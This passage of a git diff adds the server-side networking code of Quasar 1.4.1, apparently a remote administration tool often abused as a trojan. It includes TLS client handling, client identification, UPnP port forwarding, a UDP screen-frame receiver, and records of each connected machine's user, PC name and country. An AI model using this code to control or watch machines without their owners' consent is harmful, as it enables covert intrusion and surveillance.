} + + /// + /// Returns the hashcode for this instance. + /// + /// A hash code for the current instance. + public override int GetHashCode() + { + return this.EndPoint.GetHashCode(); + } + + /// + /// The type of the message received. + /// + public enum ReceiveType + { + Header, + Payload + } + + /// + /// The stream used for communication. + /// + private readonly SslStream _stream; + + /// + /// The buffer pool to hold the receive-buffers for the clients. + /// + private readonly BufferPool _bufferPool; + + /// + /// The queue which holds messages to send. + /// + private readonly Queue _sendBuffers = new Queue(); + + /// + /// Determines if the client is currently sending messages. + /// + private bool _sendingMessages; + + /// + /// Lock object for the sending messages boolean. + /// + private readonly object _sendingMessagesLock = new object(); + + /// + /// The queue which holds buffers to read. + /// + private readonly Queue _readBuffers = new Queue(); + + /// + /// Determines if the client is currently reading messages. + /// + private bool _readingMessages; + + /// + /// Lock object for the reading messages boolean. + /// + private readonly object _readingMessagesLock = new object(); + + // receive info + private int _readOffset; + private int _writeOffset; + private int _readableDataLen; + private int _payloadLen; + private ReceiveType _receiveState = ReceiveType.Header; + + /// + /// The time when the client connected. + /// + public DateTime ConnectedTime { get; } + + /// + /// The connection state of the client. + /// + public bool Connected { get; private set; } + + /// + /// Determines if the client is identified. + /// + public bool Identified { get; set; } + + /// + /// Stores values of the user. + /// + public UserState Value { get; set; } + + /// + /// The Endpoint which the client is connected to. + /// + public IPEndPoint EndPoint { get; } + + /// + /// The buffer for the client's incoming messages. + /// + private readonly byte[] _readBuffer; + + /// + /// The buffer for the client's incoming payload. + /// + private byte[] _payloadBuffer; + + /// + /// The header size in bytes. + /// + private const int HeaderSize = 4; // 4 B + + /// + /// The maximum size of a message in bytes. + /// + private const int MaxMessageSize = (1024 * 1024) * 5; // 5 MB + + /// + /// The mutex prevents multiple simultaneous write operations on the . + /// + private readonly Mutex _singleWriteMutex = new Mutex(); + + public Client(BufferPool bufferPool, SslStream stream, IPEndPoint endPoint) + { + try + { + Identified = false; + Value = new UserState(); + EndPoint = endPoint; + ConnectedTime = DateTime.UtcNow; + _stream = stream; + _bufferPool = bufferPool; + _readBuffer = _bufferPool.GetBuffer(); + _stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null); + OnClientState(true); + } + catch (Exception) + { + Disconnect(); + } + } + + private void AsyncReceive(IAsyncResult result) + { + int bytesTransferred; + + try + { + bytesTransferred = _stream.EndRead(result); + + if (bytesTransferred <= 0) + throw new Exception("no bytes transferred"); + } + catch (NullReferenceException) + { + return; + } + catch (ObjectDisposedException) + { + return; + } + catch (Exception) + { + Disconnect(); + return; + } + + byte[] received = new byte[bytesTransferred]; + + try + { + Array.Copy(_readBuffer, received, received.Length); + } + catch (Exception) + { + Disconnect(); + return; + } + + lock (_readBuffers) + { + _readBuffers.Enqueue(received); + } + + lock (_readingMessagesLock) + { + if (!_readingMessages) + { + _readingMessages = true; + ThreadPool.QueueUserWorkItem(AsyncReceive); + } + } + + try + { + _stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null); + } + catch (ObjectDisposedException) + { + } + catch (Exception) + { + Disconnect(); + } + } + + private void AsyncReceive(object state) + { + while (true) + { + byte[] readBuffer; + lock (_readBuffers) + { + if (_readBuffers.Count == 0) + { + lock (_readingMessagesLock) + { + _readingMessages = false; + } + return; + } + + readBuffer = _readBuffers.Dequeue(); + } + + _readableDataLen += readBuffer.Length; + bool process = true; + while (process) + { + switch (_receiveState) + { + case ReceiveType.Header: + { + if (_payloadBuffer == null) + _payloadBuffer = new byte[HeaderSize]; + + if (_readableDataLen + _writeOffset >= HeaderSize) + { + // completely received header + int headerLength = HeaderSize - _writeOffset; + + try + { + Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, headerLength); + + _payloadLen = BitConverter.ToInt32(_payloadBuffer, _readOffset); + + if (_payloadLen <= 0 || _payloadLen > MaxMessageSize) + throw new Exception("invalid header"); + + // try to re-use old payload buffers which fit + if (_payloadBuffer.Length <= _payloadLen + HeaderSize) + Array.Resize(ref _payloadBuffer, _payloadLen + HeaderSize); + } + catch (Exception) + { + process = false; + Disconnect(); + break; + } + + _readableDataLen -= headerLength; + _writeOffset += headerLength; + _readOffset += headerLength; + _receiveState = ReceiveType.Payload; + } + else // _readableDataLen + _writeOffset < HeaderSize + { + // received only a part of the header + try + { + Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, _readableDataLen); + } + catch (Exception) + { + process = false; + Disconnect(); + break; + } + _readOffset += _readableDataLen; + _writeOffset += _readableDataLen; + process = false; + // nothing left to process + } + break; + } + case ReceiveType.Payload: + { + int length = (_writeOffset - HeaderSize + _readableDataLen) >= _payloadLen + ? _payloadLen - (_writeOffset - HeaderSize) + : _readableDataLen; + + try + { + Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, length); + } + catch (Exception) + { + process = false; + Disconnect(); + break; + } + + _writeOffset += length; + _readOffset += length; + _readableDataLen -= length; + + if (_writeOffset - HeaderSize == _payloadLen) + { + // completely received payload + try + { + using (PayloadReader pr = new PayloadReader(_payloadBuffer, _payloadLen + HeaderSize, false)) + { + IMessage message = pr.ReadMessage(); + + OnClientRead(message, _payloadBuffer.Length); + } + } + catch (Exception) + { + process = false; + Disconnect(); + break; + } + + _receiveState = ReceiveType.Header; + _payloadLen = 0; + _writeOffset = 0; + } + + if (_readableDataLen == 0) + process = false; + + break; + } + } + } + + _readOffset = 0; + _readableDataLen = 0; + } + } + + /// + /// Sends a message to the connected client. + /// + /// The type of the message. + /// The message to be sent. + public void Send(T message) where T : IMessage + { + if (!Connected || message == null) return; + + lock (_sendBuffers) + { + _sendBuffers.Enqueue(message); + + lock (_sendingMessagesLock) + { + if (_sendingMessages) return; + + _sendingMessages = true; + ThreadPool.QueueUserWorkItem(ProcessSendBuffers); + } + } + } + + /// + /// Sends a message to the connected client. + /// Blocks the thread until the message has been sent. + /// + /// The type of the message. + /// The message to be sent. + public void SendBlocking(T message) where T : IMessage + { + if (!Connected || message == null) return; + + SafeSendMessage(message); + } + + /// + /// Safely sends a message and prevents multiple simultaneous + /// write operations on the . + /// + /// The message to send. + private void SafeSendMessage(IMessage message) + { + try + { + _singleWriteMutex.WaitOne(); + using (PayloadWriter pw = new PayloadWriter(_stream, true)) + { + OnClientWrite(message, pw.WriteMessage(message)); + } + } + catch (Exception) + { + Disconnect(); + SendCleanup(true); + } + finally + { + _singleWriteMutex.ReleaseMutex(); + } + } + + private void ProcessSendBuffers(object state) + { + while (true) + { + if (!Connected) + { + SendCleanup(true); + return; + } + + IMessage message; + lock (_sendBuffers) + { + if (_sendBuffers.Count == 0) + { + SendCleanup(); + return; + } + + message = _sendBuffers.Dequeue(); + } + + SafeSendMessage(message); + } + } + + private void SendCleanup(bool clear = false) + { + lock (_sendingMessagesLock) + { + _sendingMessages = false; + } + + if (!clear) return; + + lock (_sendBuffers) + { + _sendBuffers.Clear(); + } + } + + /// + /// Disconnect the client from the server and dispose of + /// resources associated with the client. + /// + public void Disconnect() + { + if (_stream != null) + { + _stream.Close(); + _readOffset = 0; + _writeOffset = 0; + _readableDataLen = 0; + _payloadLen = 0; + _payloadBuffer = null; + _receiveState = ReceiveType.Header; + _singleWriteMutex.Dispose(); + + _bufferPool.ReturnBuffer(_readBuffer); + } + + OnClientState(false); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Networking/MockClient.cs b/Quasar-1.4.1/Quasar.Server/Networking/MockClient.cs new file mode 100755 index 0000000..50d2ceb --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Networking/MockClient.cs @@ -0,0 +1,153 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Net; + +namespace Quasar.Server.Networking +{ + /// + /// Mock client for testing purposes. Does not have actual network connection. + /// + public class MockClient : ISender + { + public event Client.ClientStateEventHandler ClientState; + public event Client.ClientReadEventHandler ClientRead; + public event Client.ClientWriteEventHandler ClientWrite; + + public DateTime ConnectedTime { get; } + public bool Connected { get; private set; } + public bool Identified { get; set; } + public UserState Value { get; set; } + public IPEndPoint EndPoint { get; } + public bool IsMock => true; + + private static Random _random = new Random(); + private static string _lastCountryCode = "US"; + private static string _lastCountryName = "United States"; + + public MockClient() + { + ConnectedTime = DateTime.UtcNow; + Connected = true; + Identified = true; + + // Generate random mock data + var mockIp = $"192.168.{_random.Next(1, 255)}.{_random.Next(1, 255)}"; + var mockPort = _random.Next(10000, 65535); + EndPoint = new IPEndPoint(IPAddress.Parse(mockIp), mockPort); + + // Get country info (this sets both _lastCountryCode and _lastCountryName) + var countryInfo = GetRandomCountryInfo(); + + Value = new UserState + { + Version = System.Windows.Forms.Application.ProductVersion, + OperatingSystem = GetRandomOS(), + AccountType = _random.Next(0, 2) == 0 ? "Admin" : "User", + ImageIndex = countryInfo.ImageIndex, + Country = countryInfo.Name, + CountryCode = countryInfo.Code, + Id = Guid.NewGuid().ToString(), + Username = $"TestUser{_random.Next(100, 999)}", + PcName = $"PC-{_random.Next(1000, 9999)}", + Tag = $"MockClient{_random.Next(1000, 9999)}", + EncryptionKey = "MockEncryptionKey123456789012345" + }; + } + + public void Send(T message) where T : IMessage + { + // Mock client doesn't actually send messages + // Just invoke the write event for statistics tracking + OnClientWrite(message, 0); + } + + public void SendBlocking(T message) where T : IMessage + { + // Mock client doesn't actually send messages + OnClientWrite(message, 0); + } + + public void Disconnect() + { + Connected = false; + OnClientState(false); + } + + private void OnClientState(bool connected) + { + ClientState?.Invoke(null, connected); + } + + private void OnClientWrite(IMessage message, int messageLength) + { + ClientWrite?.Invoke(null, message, messageLength); + } + + public bool Equals(Client other) + { + if (ReferenceEquals(null, other)) return false; + if (ReferenceEquals(this, other)) return true; + return this.EndPoint.Port.Equals(other.EndPoint.Port); + } + + public override bool Equals(object obj) + { + return this.Equals(obj as Client); + } + + public override int GetHashCode() + { + return this.EndPoint.GetHashCode(); + } + + private static string GetRandomOS() + { + string[] osList = new[] + { + "Windows 11 Pro 64 Bit", + "Windows 10 Pro 64 Bit", + "Windows 10 Home 64 Bit", + "Windows 11 Home 64 Bit", + "Windows Server 2022 64 Bit", + "Windows Server 2019 64 Bit" + }; + return osList[_random.Next(osList.Length)]; + } + + private class CountryInfo + { + public string Code { get; set; } + public string Name { get; set; } + public int ImageIndex { get; set; } + } + + private static CountryInfo GetRandomCountryInfo() + { + // These indices match the _imageList array in GeoInformationRetriever.cs + // The array is alphabetically sorted by country code + var countries = new List + { + new CountryInfo { Code = "US", Name = "United States", ImageIndex = 229 }, + new CountryInfo { Code = "GB", Name = "United Kingdom", ImageIndex = 78 }, + new CountryInfo { Code = "DE", Name = "Germany", ImageIndex = 55 }, + new CountryInfo { Code = "FR", Name = "France", ImageIndex = 76 }, + new CountryInfo { Code = "CA", Name = "Canada", ImageIndex = 35 }, + new CountryInfo { Code = "AU", Name = "Australia", ImageIndex = 12 }, + new CountryInfo { Code = "JP", Name = "Japan", ImageIndex = 112 }, + new CountryInfo { Code = "CN", Name = "China", ImageIndex = 46 }, + new CountryInfo { Code = "BR", Name = "Brazil", ImageIndex = 28 }, + new CountryInfo { Code = "IN", Name = "India", ImageIndex = 104 }, + new CountryInfo { Code = "RU", Name = "Russia", ImageIndex = 188 }, + new CountryInfo { Code = "MX", Name = "Mexico", ImageIndex = 154 }, + new CountryInfo { Code = "IT", Name = "Italy", ImageIndex = 109 }, + new CountryInfo { Code = "ES", Name = "Spain", ImageIndex = 67 }, + new CountryInfo { Code = "KR", Name = "South Korea", ImageIndex = 120 } + }; + + return countries[_random.Next(countries.Count)]; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Networking/QuasarServer.cs b/Quasar-1.4.1/Quasar.Server/Networking/QuasarServer.cs new file mode 100755 index 0000000..fa8d5d4 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Networking/QuasarServer.cs @@ -0,0 +1,164 @@ +using Quasar.Common.Cryptography; +using Quasar.Common.Messages; +using System; +using System.Linq; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using System.Text; + +namespace Quasar.Server.Networking +{ + public class QuasarServer : Server + { + /// + /// Gets the clients currently connected and identified to the server. + /// + public Client[] ConnectedClients + { + get { return Clients.Where(c => c != null && c.Identified).ToArray(); } + } + + /// + /// Occurs when a client connected. + /// + public event ClientConnectedEventHandler ClientConnected; + + /// + /// Represents the method that will handle the connected client. + /// + /// The connected client. + public delegate void ClientConnectedEventHandler(Client client); + + /// + /// Fires an event that informs subscribers that the client is connected. + /// + /// The connected client. + private void OnClientConnected(Client client) + { + if (ProcessingDisconnect || !Listening) return; + var handler = ClientConnected; + handler?.Invoke(client); + } + + /// + /// Occurs when a client disconnected. + /// + public event ClientDisconnectedEventHandler ClientDisconnected; + + /// + /// Represents the method that will handle the disconnected client. + /// + /// The disconnected client. + public delegate void ClientDisconnectedEventHandler(Client client); + + /// + /// Fires an event that informs subscribers that the client is disconnected. + /// + /// The disconnected client. + private void OnClientDisconnected(Client client) + { + if (ProcessingDisconnect || !Listening) return; + var handler = ClientDisconnected; + handler?.Invoke(client); + } + + /// + /// Constructor, initializes required objects and subscribes to events of the server. + /// + /// The server certificate. + public QuasarServer(X509Certificate2 serverCertificate) : base(serverCertificate) + { + base.ClientState += OnClientState; + base.ClientRead += OnClientRead; + } + + /// + /// Decides if the client connected or disconnected. + /// + /// The server the client is connected to. + /// The client which changed its state. + /// True if the client connected, false if disconnected. + private void OnClientState(Server server, Client client, bool connected) + { + if (!connected) + { + if (client.Identified) + { + OnClientDisconnected(client); + } + } + } + + /// + /// Forwards received messages from the client to the MessageHandler. + /// + /// The server the client is connected to. + /// The client which has received the message. + /// The received message. + private void OnClientRead(Server server, Client client, IMessage message) + { + if (!client.Identified) + { + if (message.GetType() == typeof (ClientIdentification)) + { + client.Identified = IdentifyClient(client, (ClientIdentification) message); + if (client.Identified) + { + client.Send(new ClientIdentificationResult {Result = true}); // finish handshake + OnClientConnected(client); + } + else + { + // identification failed + client.Disconnect(); + } + } + else + { + // no messages of other types are allowed as long as client is in unidentified state + client.Disconnect(); + } + return; + } + + MessageHandler.Process(client, message); + } + + private bool IdentifyClient(Client client, ClientIdentification packet) + { + if (packet.Id.Length != 64) + return false; + + client.Value.Version = packet.Version; + client.Value.OperatingSystem = packet.OperatingSystem; + client.Value.AccountType = packet.AccountType; + client.Value.Country = packet.Country; + client.Value.CountryCode = packet.CountryCode; + client.Value.Id = packet.Id; + client.Value.Username = packet.Username; + client.Value.PcName = packet.PcName; + client.Value.Tag = packet.Tag; + client.Value.ImageIndex = packet.ImageIndex; + client.Value.EncryptionKey = packet.EncryptionKey; + + // TODO: Refactor tooltip + //if (Settings.ShowToolTip) + // client.Send(new GetSystemInfo()); + +#if !DEBUG + try + { + var csp = (RSACryptoServiceProvider)ServerCertificate.PublicKey.Key; + return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(packet.EncryptionKey)), + CryptoConfig.MapNameToOID("SHA256"), packet.Signature); + } + catch (Exception) + { + return false; + } +#else + return true; +#endif + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Networking/Server.cs b/Quasar-1.4.1/Quasar.Server/Networking/Server.cs new file mode 100755 index 0000000..4c6c976 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Networking/Server.cs @@ -0,0 +1,421 @@ +using Quasar.Common.Extensions; +using Quasar.Common.Messages; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Net; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Authentication; +using System.Security.Cryptography.X509Certificates; +using System.Threading; + +namespace Quasar.Server.Networking +{ + public class Server + { + /// + /// Occurs when the state of the server changes. + /// + public event ServerStateEventHandler ServerState; + + /// + /// Represents a method that will handle a change in the server's state. + /// + /// The server which changed its state. + /// The new listening state of the server. + /// The port the server is listening on, if listening is True. + public delegate void ServerStateEventHandler(Server s, bool listening, ushort port); + + /// + /// Fires an event that informs subscribers that the server has changed it's state. + /// + /// The new listening state of the server. + private void OnServerState(bool listening) + { + if (Listening == listening) return; + + Listening = listening; + + var handler = ServerState; + handler?.Invoke(this, listening, Port); + } + + /// + /// Occurs when the state of a client changes. + /// + public event ClientStateEventHandler ClientState; + + /// + /// Represents a method that will handle a change in a client's state. + /// + /// The server, the client is connected to. + /// The client which changed its state. + /// The new connection state of the client. + public delegate void ClientStateEventHandler(Server s, Client c, bool connected); + + /// + /// Fires an event that informs subscribers that a client has changed its state. + /// + /// The client which changed its state. + /// The new connection state of the client. + private void OnClientState(Client c, bool connected) + { + if (!connected) + RemoveClient(c); + + var handler = ClientState; + handler?.Invoke(this, c, connected); + } + + /// + /// Occurs when a message is received by a client. + /// + public event ClientReadEventHandler ClientRead; + + /// + /// Represents a method that will handle a message received from a client. + /// + /// The server, the client is connected to. + /// The client that has received the message. + /// The message that received by the client. + public delegate void ClientReadEventHandler(Server s, Client c, IMessage message); + + /// + /// Fires an event that informs subscribers that a message has been + /// received from the client. + /// + /// The client that has received the message. + /// The message that received by the client. + /// The length of the message. + private void OnClientRead(Client c, IMessage message, int messageLength) + { + Interlocked.Add(ref _bytesReceived, messageLength); + var handler = ClientRead; + handler?.Invoke(this, c, message); + } + + /// + /// Occurs when a message is sent by a client. + /// + public event ClientWriteEventHandler ClientWrite; + + /// + /// Represents the method that will handle the sent message by a client. + /// + /// The server, the client is connected to. + /// The client that has sent the message. + /// The message that has been sent by the client. + public delegate void ClientWriteEventHandler(Server s, Client c, IMessage message); + + /// + /// Fires an event that informs subscribers that the client has sent a message. + /// + /// The client that has sent the message. + /// The message that has been sent by the client. + /// The length of the message. + private void OnClientWrite(Client c, IMessage message, int messageLength) + { + Interlocked.Add(ref _bytesSent, messageLength); + var handler = ClientWrite; + handler?.Invoke(this, c, message); + } + + /// + /// The port on which the server is listening. + /// + public ushort Port { get; private set; } + + /// + /// The total amount of received bytes. + /// + public long BytesReceived => Interlocked.Read(ref _bytesReceived); + private long _bytesReceived; + + /// + /// The total amount of sent bytes. + /// + public long BytesSent => Interlocked.Read(ref _bytesSent); + private long _bytesSent; + + /// + /// The buffer size for receiving data in bytes. + /// + private const int BufferSize = 1024 * 16; // 16 KB + + /// + /// The keep-alive time in ms. + /// + private const uint KeepAliveTime = 25000; // 25 s + + /// + /// The keep-alive interval in ms. + /// + private const uint KeepAliveInterval = 25000; // 25 s + + /// + /// The buffer pool to hold the receive-buffers for the clients. + /// + private readonly BufferPool _bufferPool = new BufferPool(BufferSize, 1) { ClearOnReturn = false }; + + /// + /// The listening state of the server. True if listening, else False. + /// + public bool Listening { get; private set; } + + /// + /// Gets the clients currently connected to the server. + /// + protected Client[] Clients + { + get + { + lock (_clientsLock) + { + return _clients.ToArray(); + } + } + } + + /// + /// Handle of the Server Socket. + /// + private Socket _handle; + + /// + /// The server certificate. + /// + protected readonly X509Certificate2 ServerCertificate; + + /// + /// The event to accept new connections asynchronously. + /// + private SocketAsyncEventArgs _item; + + /// + /// List of the clients connected to the server. + /// + private readonly List _clients = new List(); + + /// + /// The UPnP service used to discover, create and delete port mappings. + /// + private UPnPService _UPnPService; + + /// + /// Lock object for the list of clients. + /// + private readonly object _clientsLock = new object(); + + /// + /// Determines if the server is currently processing Disconnect method. + /// + protected bool ProcessingDisconnect { get; set; } + + /// + /// Constructor of the server, initializes serializer types. + /// + /// The server certificate. + protected Server(X509Certificate2 serverCertificate) + { + ServerCertificate = serverCertificate; + TypeRegistry.AddTypesToSerializer(typeof(IMessage), TypeRegistry.GetPacketTypes(typeof(IMessage)).ToArray()); + } + + /// + /// Begins listening for clients. + /// + /// Port to listen for clients on. + /// If set to true, use a dual-stack socket to allow IPv4/6 connections. Otherwise use IPv4-only socket. + /// Enables the automatic UPnP port forwarding. + public void Listen(ushort port, bool ipv6, bool enableUPnP) + { + if (Listening) return; + this.Port = port; + + if (enableUPnP) + { + _UPnPService = new UPnPService(); + _UPnPService.CreatePortMapAsync(port); + } + + if (Socket.OSSupportsIPv6 && ipv6) + { + _handle = new Socket(AddressFamily.InterNetworkV6, SocketType.Stream, ProtocolType.Tcp); + _handle.SetSocketOption(SocketOptionLevel.IPv6, SocketOptionName.IPv6Only, 0); + _handle.Bind(new IPEndPoint(IPAddress.IPv6Any, port)); + } + else + { + _handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); + _handle.Bind(new IPEndPoint(IPAddress.Any, port)); + } + _handle.Listen(1000); + + OnServerState(true); + + _item = new SocketAsyncEventArgs(); + _item.Completed += AcceptClient; + + if (!_handle.AcceptAsync(_item)) + AcceptClient(this, _item); + } + + /// + /// Accepts and begins authenticating an incoming client. + /// + /// The sender. + /// Asynchronous socket event. + private void AcceptClient(object s, SocketAsyncEventArgs e) + { + try + { + do + { + switch (e.SocketError) + { + case SocketError.Success: + SslStream sslStream = null; + try + { + Socket clientSocket = e.AcceptSocket; + clientSocket.SetKeepAliveEx(KeepAliveInterval, KeepAliveTime); + sslStream = new SslStream(new NetworkStream(clientSocket, true), false); + // the SslStream owns the socket and on disposing also disposes the NetworkStream and Socket + sslStream.BeginAuthenticateAsServer(ServerCertificate, false, SslProtocols.Tls12, false, EndAuthenticateClient, + new PendingClient {Stream = sslStream, EndPoint = (IPEndPoint) clientSocket.RemoteEndPoint}); + } + catch (Exception) + { + sslStream?.Close(); + } + break; + case SocketError.ConnectionReset: + break; + default: + throw new SocketException((int) e.SocketError); + } + + e.AcceptSocket = null; // enable reuse + } while (!_handle.AcceptAsync(e)); + } + catch (ObjectDisposedException) + { + } + catch (Exception) + { + Disconnect(); + } + } + + private class PendingClient + { + public SslStream Stream { get; set; } + public IPEndPoint EndPoint { get; set; } + } + + /// + /// Ends the authentication process of a newly connected client. + /// + /// The status of the asynchronous operation. + private void EndAuthenticateClient(IAsyncResult ar) + { + var con = (PendingClient) ar.AsyncState; + try + { + con.Stream.EndAuthenticateAsServer(ar); + + Client client = new Client(_bufferPool, con.Stream, con.EndPoint); + AddClient(client); + OnClientState(client, true); + } + catch (Exception) + { + con.Stream.Close(); + } + } + + /// + /// Adds a connected client to the list of clients, + /// subscribes to the client's events. + /// + /// The client to add. + private void AddClient(Client client) + { + lock (_clientsLock) + { + client.ClientState += OnClientState; + client.ClientRead += OnClientRead; + client.ClientWrite += OnClientWrite; + _clients.Add(client); + } + } + + /// + /// Removes a disconnected client from the list of clients, + /// unsubscribes from the client's events. + /// + /// The client to remove. + private void RemoveClient(Client client) + { + if (ProcessingDisconnect) return; + + lock (_clientsLock) + { + client.ClientState -= OnClientState; + client.ClientRead -= OnClientRead; + client.ClientWrite -= OnClientWrite; + _clients.Remove(client); + } + } + + /// + /// Disconnect the server from all of the clients and discontinue + /// listening (placing the server in an "off" state). + /// + public void Disconnect() + { + if (ProcessingDisconnect) return; + ProcessingDisconnect = true; + + if (_handle != null) + { + _handle.Close(); + _handle = null; + } + + if (_item != null) + { + _item.Dispose(); + _item = null; + } + + if (_UPnPService != null) + { + _UPnPService.DeletePortMapAsync(Port); + _UPnPService = null; + } + + lock (_clientsLock) + { + while (_clients.Count != 0) + { + try + { + _clients[0].Disconnect(); + _clients[0].ClientState -= OnClientState; + _clients[0].ClientRead -= OnClientRead; + _clients[0].ClientWrite -= OnClientWrite; + _clients.RemoveAt(0); + } + catch + { + } + } + } + + ProcessingDisconnect = false; + OnServerState(false); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Networking/UPnPService.cs b/Quasar-1.4.1/Quasar.Server/Networking/UPnPService.cs new file mode 100755 index 0000000..18c5bcf --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Networking/UPnPService.cs @@ -0,0 +1,77 @@ +using Open.Nat; +using System; +using System.Collections.Generic; +using System.Threading; + +namespace Quasar.Server.Networking +{ + public class UPnPService + { + /// + /// Used to keep track of all created mappings. + /// + private readonly Dictionary _mappings = new Dictionary(); + + /// + /// The discovered UPnP device. + /// + private NatDevice _device; + + /// + /// The NAT discoverer used to discover NAT-UPnP devices. + /// + private NatDiscoverer _discoverer; + + /// + /// Initializes the discovery of new UPnP devices. + /// + public UPnPService() + { + _discoverer = new NatDiscoverer(); + } + + /// + /// Creates a new port mapping on the UPnP device. + /// + /// The port to map. + public async void CreatePortMapAsync(int port) + { + try + { + var cts = new CancellationTokenSource(10000); + _device = await _discoverer.DiscoverDeviceAsync(PortMapper.Upnp, cts); + + Mapping mapping = new Mapping(Protocol.Tcp, port, port); + + await _device.CreatePortMapAsync(mapping); + + if (_mappings.ContainsKey(mapping.PrivatePort)) + _mappings[mapping.PrivatePort] = mapping; + else + _mappings.Add(mapping.PrivatePort, mapping); + } + catch (Exception ex) when (ex is MappingException || ex is NatDeviceNotFoundException) + { + } + } + + /// + /// Deletes an existing port mapping. + /// + /// The port mapping to delete. + public async void DeletePortMapAsync(int port) + { + if (_mappings.TryGetValue(port, out var mapping)) + { + try + { + await _device.DeletePortMapAsync(mapping); + _mappings.Remove(mapping.PrivatePort); + } + catch (Exception ex) when (ex is MappingException || ex is NatDeviceNotFoundException) + { + } + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Networking/UdpFrameReceiver.cs b/Quasar-1.4.1/Quasar.Server/Networking/UdpFrameReceiver.cs new file mode 100755 index 0000000..908881d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Networking/UdpFrameReceiver.cs @@ -0,0 +1,132 @@ +using Quasar.Common.Video; +using System; +using System.Collections.Generic; +using System.Net; +using System.Net.Sockets; +using System.Threading; + +namespace Quasar.Server.Networking +{ + /// + /// Listens on a UDP port and reassembles fragmented frames sent by the client. + /// Fires FrameAssembled when a complete frame is ready. + /// Thread-safe; call Dispose to stop. + /// + public class UdpFrameReceiver : IDisposable + { + /// Fired on the thread-pool when a complete frame payload is assembled. + public event Action FrameAssembled; + + public int Port { get; private set; } + + private UdpClient _udp; + private Thread _receiveThread; + private volatile bool _running; + + // Reassembly state for the current in-progress frame + private readonly object _assemblyLock = new object(); + private uint _currentFrameId = uint.MaxValue; + private byte[][] _chunks; + private int _chunksReceived; + private ushort _totalChunks; + private ushort _currentFlags; + + public UdpFrameReceiver(int port) + { + Port = port; + _udp = new UdpClient(port); + _udp.Client.ReceiveBufferSize = 1024 * 1024; // 1 MB receive buffer + } + + public void Start() + { + _running = true; + _receiveThread = new Thread(ReceiveLoop) + { + IsBackground = true, + Name = "UdpFrameReceiver" + }; + _receiveThread.Start(); + } + + private void ReceiveLoop() + { + IPEndPoint remote = new IPEndPoint(IPAddress.Any, 0); + while (_running) + { + try + { + byte[] data = _udp.Receive(ref remote); + if (data.Length < UdpFrameProtocol.HeaderSize) continue; + + UdpFrameProtocol.ParseHeader(data, out uint frameId, out ushort chunkIndex, out ushort totalChunks, out ushort flags); + + int payloadLen = data.Length - UdpFrameProtocol.HeaderSize; + byte[] payload = new byte[payloadLen]; + Buffer.BlockCopy(data, UdpFrameProtocol.HeaderSize, payload, 0, payloadLen); + + lock (_assemblyLock) + { + // New frame — reset assembly state + if (frameId != _currentFrameId) + { + _currentFrameId = frameId; + _totalChunks = totalChunks; + _currentFlags = flags; + _chunks = new byte[totalChunks][]; + _chunksReceived = 0; + } + + if (chunkIndex < _totalChunks && _chunks[chunkIndex] == null) + { + _chunks[chunkIndex] = payload; + _chunksReceived++; + + if (_chunksReceived == _totalChunks) + { + // Assemble full frame + int total = 0; + for (int i = 0; i < _totalChunks; i++) total += _chunks[i].Length; + + byte[] frame = new byte[total]; + int pos = 0; + for (int i = 0; i < _totalChunks; i++) + { + Buffer.BlockCopy(_chunks[i], 0, frame, pos, _chunks[i].Length); + pos += _chunks[i].Length; + } + + // Decompress if flagged + if ((_currentFlags & UdpFrameProtocol.FlagCompressed) != 0) + { + try { frame = UdpFrameProtocol.Decompress(frame); } + catch { continue; } + } + + var assembled = frame; + ThreadPool.QueueUserWorkItem(_ => FrameAssembled?.Invoke(assembled)); + + // Reset + _chunks = null; + _chunksReceived = 0; + } + } + } + } + catch (SocketException) + { + // Socket closed — exit loop + break; + } + catch { /* swallow other errors, keep running */ } + } + } + + public void Dispose() + { + _running = false; + try { _udp?.Close(); } catch { } + _udp = null; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Networking/UserState.cs b/Quasar-1.4.1/Quasar.Server/Networking/UserState.cs new file mode 100755 index 0000000..8dc1eec --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Networking/UserState.cs @@ -0,0 +1,34 @@ +using Quasar.Common.Cryptography; +using Quasar.Common.Helpers; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Server.Networking +{ + public class UserState + { + private string _downloadDirectory; + private Aes256 _aesInstance; + + public string Version { get; set; } + public string OperatingSystem { get; set; } + public string AccountType { get; set; } + public int ImageIndex { get; set; } + public string Country { get; set; } + public string CountryCode { get; set; } + public string Id { get; set; } + public string Username { get; set; } + public string PcName { get; set; } + public string UserAtPc => $"{Username}@{PcName}"; + public string CountryWithCode => $"{Country} [{CountryCode}]"; + public string Tag { get; set; } + public string EncryptionKey { get; set; } + public string ActiveWindow { get; set; } + + public Aes256 AesInstance => _aesInstance ?? (_aesInstance = new Aes256(EncryptionKey)); + + public string DownloadDirectory => _downloadDirectory ?? (_downloadDirectory = (!FileHelper.HasIllegalCharacters(UserAtPc)) + ? Path.Combine(Application.StartupPath, $"Clients\\{UserAtPc}_{Id.Substring(0, 7)}\\") + : Path.Combine(Application.StartupPath, $"Clients\\{Id}\\")); + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Program.cs b/Quasar-1.4.1/Quasar.Server/Program.cs new file mode 100755 index 0000000..9abf460 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Program.cs @@ -0,0 +1,78 @@ +using Quasar.Server.Forms; +using Quasar.Server.Utilities; +using System; +using System.Net; +using 